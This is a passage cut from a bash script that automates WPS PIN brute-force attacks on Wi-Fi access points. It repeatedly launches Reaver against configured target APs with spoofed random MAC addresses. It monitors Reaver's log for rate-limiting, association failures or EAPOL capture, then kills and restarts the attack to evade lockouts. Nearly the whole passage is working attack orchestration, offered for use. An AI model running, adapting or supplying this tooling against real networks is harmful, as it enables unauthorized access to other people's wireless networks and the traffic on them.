REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R35 == n || $USE_R35 == N ]] && [[ $USE_LONG35 == y || $USE_LONG35 == Y ]] && [[ $USE_PIN35 == y || $USE_PIN35 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN35 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R35 == y || $USE_R35 == Y ]] && [[ $USE_LONG35 == y || $USE_LONG35 == Y ]] && [[ $USE_PIN35 == y || $USE_PIN35 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX35" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY35"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -r $RX35:$RY35 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN35 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE35 == n ] || [ $KEEP_FILE35 == N ]; then

          rm VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R36 == n || $USE_R36 == N ]] && [[ $USE_LONG36 == n || $USE_LONG36 == N ]] && [[ $USE_PIN36 == n || $USE_PIN36 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R36 == y || $USE_R36 == Y ]] && [[ $USE_LONG36 == n || $USE_LONG36 == N ]] && [[ $USE_PIN36 == n || $USE_PIN36 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX36" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY36"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -vv -x 60 -r $RX36:$RY36 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R36 == n || $USE_R36 == N ]] && [[ $USE_LONG36 == y || $USE_LONG36 == Y ]] && [[ $USE_PIN36 == n || $USE_PIN36 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
